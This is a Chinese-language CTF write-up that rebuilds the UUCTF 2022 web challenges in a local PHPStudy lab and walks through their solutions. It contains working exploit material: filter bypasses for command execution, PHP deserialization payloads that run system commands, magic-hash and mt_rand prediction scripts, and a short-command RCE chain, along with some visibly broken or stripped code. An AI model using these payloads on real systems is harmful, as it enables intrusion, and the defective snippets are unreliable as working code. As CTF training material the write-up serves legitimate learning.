从CTF小白到解题高手:我是如何用PHPStudy复现UUCTF 2022 Web赛题的(附完整环境搭建与解题脚本)
从CTF小白到解题高手PHPStudy环境下的UUCTF 2022 Web赛题实战复现指南在网络安全竞赛的世界里CTFCapture The Flag无疑是最能检验实战能力的试金石。而Web安全作为CTF比赛中最常见也最贴近实际应用的题型往往成为新手入门的第一道门槛。本文将带你从零开始在本地PHPStudy环境中完整复现UUCTF 2022的11道Web题目涵盖环境搭建、漏洞分析、利用技巧到自动化脚本编写的全流程。1. 环境准备与基础配置1.1 PHPStudy环境搭建对于Windows平台下的CTF学习PHPStudy提供了最便捷的Web服务集成环境。以下是关键配置步骤版本选择推荐使用PHPStudy v8.1内置PHP 7.3.4和Apache 2.4.39组合必要模块开启php_curl、php_openssl等常用扩展确保allow_url_includeOn部分题目需要目录权限# 项目目录需赋予写权限 chmod -R 777 /www/wwwroot/uuctf20221.2 题目环境部署每道题目需要独立配置虚拟主机以下为典型结构/uuctf2022 ├── websign # 题目1 ├── ez_rce # 题目2 ├── ez_unser # 题目3 └── ... # 其他题目注意Apache需配置.htaccess支持Nginx需额外处理pathinfo路由2. 关键题目解析与漏洞利用2.1 ez_rce的闭合技巧突破这道RCE题目通过严格的正则过滤限制了命令执行if(!preg_match(/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i,$code)){突破方案利用未过滤的?闭合PHP标签通过短标签执行系统命令?code?? l\s?使用未被过滤的nl命令读取文件?code?? nl /fffffffffflagafag?2.2 ez_unser的反序列化利用链这道题展示了PHP反序列化的经典漏洞模式class test{ public $a; public $b; public $c; function __destruct(){ $this-b$this-c; eval($this-a); // 危险点 } }利用步骤构造引用传递使$a和$b指向同一内存地址通过$c注入恶意代码$A new test(); $A-a $A-b; $A-c system(cat /fffffffffflagafag);; echo serialize($A);2.3 funmd5的弱类型比较绕过该题目涉及MD5哈希的弱类型比较漏洞if($md5[0]md5($md5[0]) $md5[1]$guessmd5){破解方法寻找Magic Hash0e215962017的MD5也是0e开头使用%0a绕过preg_replace过滤编写自动化爆破脚本import requests import hashlib while True: current_time int(time.time()) payload { md5[0]: \n0e215962017, md5[1]: hashlib.md5(str(current_time).encode()).hexdigest() } response requests.get(url, paramspayload) if well in response.text: print(response.text) break3. 高级利用技术实战3.1 伪随机数预测phonecode题目PHP的mt_rand()伪随机数在种子已知时可预测mt_srand(1); echo mt_rand(); // 输出895547922 echo mt_rand(); // 输出2141438069攻击流程通过已知hint确认种子值计算下一个随机数作为验证码自动化提交脚本import requests url http://target/submit data { phone: 1, code: 1546885062 # 第三个随机数 } requests.post(url, datadata)3.2 反序列化字符串逃逸ezpop题目该题目展示了通过字符串替换改变序列化结构的技巧$data_replacestr_replace(hacker,loveuu!,$data);利用链构造计算替换前后的长度差每个hacker替换为loveuu!增加2字节精确控制逃逸出的字符数构造二次反序列化payload$payload ;s:3:key;s:5:UUCTF;s:8:basedata;s:176:Tzo3...;}; $prefix str_repeat(hacker, strlen($payload)/2);4. 自动化利用脚本开发4.1 伪随机数爆破脚本优化针对phonecode题目的高效爆破方案import requests from multiprocessing import Pool def brute_force(seed): mt_srand(seed) codes [mt_rand() for _ in range(5)] response requests.post(url, json{code: codes[-1]}) if flag{ in response.text: return seed with Pool(8) as p: results p.map(brute_force, range(10000))4.2 有限字符RCE利用框架对于ezrce这类限制6字符的命令执行可构建自动化攻击框架attack_chain [ nl, # 创建nl文件 *v, # 将第一个文件作为命令执行 rev, # 创建rev命令 *v0, # 反转文件内容 sh 0 # 执行生成的文件 ] for cmd in attack_chain: requests.post(target_url, data{cmd: cmd})5. 防御方案与学习建议5.1 安全开发实践针对比赛中暴露的漏洞企业级防御应包括漏洞类型防御方案PHP配置示例RCE禁用危险函数disable_functions system,passthru,exec反序列化严格类型检查session.serialize_handler php_serialize文件上传内容检测upload_max_filesize 2M5.2 持续学习路径推荐进阶学习资源Web安全《白帽子讲Web安全》《Web安全攻防实战》PHP审计PHP官方安全手册、RIPS静态分析工具CTF实战CTFtime.org赛事日历、Vulnhub靶机在本地复现过程中建议使用Docker构建隔离环境避免污染主机系统。对于LD_PRELOAD等高级利用技术需要深入理解Linux动态链接机制这将是下一阶段的学习重点。